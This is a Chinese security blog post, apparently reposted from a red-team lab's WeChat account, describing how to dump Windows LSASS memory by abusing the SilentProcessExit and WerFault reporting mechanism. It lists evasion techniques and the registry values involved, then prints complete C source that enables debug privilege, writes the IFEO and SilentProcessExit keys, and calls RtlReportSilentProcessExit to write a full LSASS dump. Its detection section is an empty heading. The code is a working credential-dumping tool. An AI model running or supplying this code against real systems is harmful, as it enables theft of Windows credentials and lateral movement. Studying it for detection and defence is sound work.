0x01 前言
0x02 Lsass Dump一般原理
0x03 Lsass Dump检测原理
·创建新的Lsass进程;
·复制现有Lsass句柄,即从其他进程中duplicate Lsass句柄(其他进程曾经打开过Lsass进程的情况下);
·堆栈欺骗,将Dump程序自身的堆栈调用特征做伪装,使其看起来是一个合法的系统进程对Lsass句柄进行了复制;
·将Lsass进程句柄泄露(比如利用seclogon)等。
·直接系统调用;
· Unhook;
·使用系统合法程序生成Lsass的dump文件等。
0x04 Lsass Dump by WerFault
1、特定进程调用ExitProcess()终止自身;
2、其他进程调用TerminateProcess()结束特定进程。
1、启动一个监控进程;
2、显示一个弹窗;
3、创建一个Dump文件。
HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionslsass.exe 下的1个键值:
GlobalFlag - 0x200(FLG_MONITOR_SILENT_PROCESS_EXIT)
HKLMSOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitlsass.exe 下的3个键值:
ReportingMode - 0x2(LOCAL_DUMP);
LocalDumpFolder – DUMP文件被存放的目录,可自定义,默认为 %TEMP%Silent Process Exit;
DumpType – 0x2(完全转储目标进程内存,MiniDumpWithFullMemory)
1、设置注册表;
2、获取debug权限;
3、获取具有特定权限的Lsass句柄;
4、ntdll中取出RtlReportSilentProcessExit()函数;
5、调用RtlReportSilentProcessExit()函数,传入第3步获取到的Lsass句柄。
0x05 检测方法
0x05 后记
0x06 完整代码
//获取lsass进程pid
DWORD FindProcessId() {
PROCESSENTRY32 processInfo;
processInfo.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) {
return 0;
}
if (Process32First(snapshot, &processInfo)) {
do {
if (!_wcsicmp(L"lsass.exe", processInfo.szExeFile)) {
CloseHandle(snapshot);
return processInfo.th32ProcessID;
}
} while (Process32Next(snapshot, &processInfo));
}
CloseHandle(snapshot);
return 0;
}
//修改注册表
int regedit(){
HKEY hKey;
LONG result;
//创建并打开 "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitlsass.exe" 子键
result = RegCreateKeyEx(
HKEY_LOCAL_MACHINE,
L"SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe",
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_WRITE,
NULL,
&hKey,
NULL
);
//添加 DumpType 类型为 REG_DWORD 的内容,数据为0x2
DWORD dumpTypeValue = 0x02;
result = RegSetValueEx(hKey, L"DumpType", 0, REG_DWORD, (const BYTE*)&dumpTypeValue, sizeof(DWORD));
//添加 LocalDumpFolder 类型为 REG_SZ 的内容,数据为 c:temp(SavePath)
result |= RegSetValueEx(hKey, L"LocalDumpFolder", 0, REG_SZ, (const BYTE*)SavePath, sizeof(SavePath));
//添加 ReportingMode 类型为 REG_DWORD 的内容,数据为0x2
DWORD reportingModeValue = 0x02;
result |= RegSetValueEx(hKey, L"ReportingMode", 0, REG_DWORD, (const BYTE*)&reportingModeValue, sizeof(DWORD));
RegCloseKey(hKey);
//创建并打开 "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionslsass.exe" 子键
result = RegCreateKeyEx(
HKEY_LOCAL_MACHINE,
L"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe",
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_WRITE,
NULL,
&hKey,
NULL
);
//添加 GlobalFlag 类型为 REG_DWORD 的内容,数据为0x200
DWORD globalFlagValue = 0x200;
result = RegSetValueEx(hKey, L"GlobalFlag", 0, REG_DWORD, (const BYTE*)&globalFlagValue, sizeof(DWORD));
RegCloseKey(hKey);
return 0;
}
// 启用调试权限
void DebugPrivilege(){
//打开进程访问令牌
HANDLE hProcessToken = NULL;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hProcessToken);
//取得SeDebugPrivilege特权的LUID值
LUID luid;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
//调整访问令牌特权
TOKEN_PRIVILEGES token;
token.PrivilegeCount = 1;
token.Privileges[0].Luid = luid;
token.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
//获取debug特权
AdjustTokenPrivileges(hProcessToken, FALSE, &token, 0, NULL, NULL);
CloseHandle(hProcessToken);
}
int main() {
//提升令牌访问权限
DebugPrivilege();
//设置注册表
regedit();
//获取lsass进程pid
DWORD processId = FindProcessId();
//获取lsass句柄
HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, processId);
if (hProcess == INVALID_HANDLE_VALUE) {
printf("OpenProcess() --err: %dn", GetLastError());
}
//从ntdll中取RtlReportSilentProcessExit函数
typedef NTSTATUS(NTAPI* RtlReportSilentProcessExit)(
HANDLE processHandle,
NTSTATUS ExitStatus
);
HMODULE hModule = GetModuleHandle(L"ntdll.dll");
RtlReportSilentProcessExit fRtlReportSilentProcessExit = (RtlReportSilentProcessExit)GetProcAddress(hModule, "RtlReportSilentProcessExit");
//静默退出lsass
NTSTATUS s = fRtlReportSilentProcessExit(hProcess, 0);
if (s == 0) {
printf("Lsass内存转储成功,保存路径:%S", SavePath);
}
CloseHandle(hProcess);
CloseHandle(hModule);
}
原文始发于微信公众号(红蓝攻防研究实验室):利用系统正常机制进行Lsass Dump(一)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论